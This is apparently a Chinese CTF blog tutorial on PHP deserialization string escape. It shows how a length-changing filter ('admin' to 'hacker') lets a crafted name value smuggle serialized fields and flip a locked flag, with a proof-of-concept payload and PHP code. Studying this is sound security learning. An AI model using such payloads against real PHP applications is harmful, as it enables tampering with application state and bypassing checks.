PHP反序列化 字符串逃逸

前言

最近在打西电的新生赛,有道反序列化的题卡了很久,今天在NSS上刷题的时候突然想到做法,就是利用字符串逃逸去改变题目锁死的值,从而实现绕过

为了研究反序列化的字符串逃逸

我们先简单的测试下

原理

<?php
class escape{                                                                   
    public $name;                                                 
    public $psword;                                            
    public $flag;       
    public function __construct($u,$p){
        $this->name = $u;
        $this->psword = $p;
        $this->flag = 0;
    }                   
}
$a=new escape('admin','123456');
echo serialize($a);
?> 

输出结果为

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

假设我们增加一个检测函数,去替换我们序列化之后的值,则

<?php
class escape{                                                                   
    public $name;                                                 
    public $psword;                                            
    public $flag;       
    
    public function __construct($u,$p){
        $this->name = $u;
        $this->psword = $p;
        $this->flag = 0;
    }                   
}
function filter($s){
    return str_replace("admin","hacker",$s);
}

$a=new escape('admin','123456');
$a_filter = filter(serialize($a));
echo $a_filter;
?> 

输出结果为

O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

我们比对下这两串输出结果

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}
O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

可以发现下面那一串的hacker的长度与实际长度不匹配

假设当$flag=1时回显flag,由于题目是改不了的,那么我们就可以利用字符串逃逸来实现

目标字符串

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}

我们可以把";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}写入到name的值里面,然后通过admin替换hacker的长度差值与之相等即可

我们先写入name里,然后计算下长度为44+5

O:6:"escape":3:{s:4:"name";s:49:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

由于我们要挤掉后面长度为44的字符串,构造44*admin

payload

O:6:"escape":3:{s:4:"name";s:49:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

即实例化上传的为

<?php
class escape{                                                                   
    public $name;                                                 
    public $psword;                                            
    public $flag;       
    public function __construct($u,$p){
        $this->name = $u;
        $this->psword = $p;
        $this->flag = 0;
    }                   
}
function filter($s){
    return str_replace("admin","hacker",$s);
}

$a=new escape('adminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}','123456');

$a_filter = filter(serialize($a));
$a_filter_unseri = unserialize($a_filter);
var_dump($a_filter_unseri);

我们可以看到flag的值变为1,成功绕过

相关推荐
XKSYA(小巢校长)1 小时前
NatGo我的世界联机篇
开发语言·php
lxp1997412 小时前
php函数积累
开发语言·php
ac-er88884 小时前
PHP“===”的意义
开发语言·php
wxin_VXbishe4 小时前
springboot合肥师范学院实习实训管理系统-计算机毕业设计源码31290
java·spring boot·python·spring·servlet·django·php
小小不董5 小时前
《Linux从小白到高手》理论篇:深入理解Linux的网络管理
linux·运维·服务器·数据库·php·dba
豆豆5 小时前
为什么用PageAdmin CMS建设网站?
服务器·开发语言·前端·php·软件构建
l1x1n06 小时前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全
NiNg_1_2346 小时前
ThinkPHP5基础入门
php
2401_857610037 小时前
SpringBoot实现:校园资料分享平台开发指南
服务器·spring boot·php
Q_w77427 小时前
一个真实可用的登录界面!
javascript·mysql·php·html5·网站登录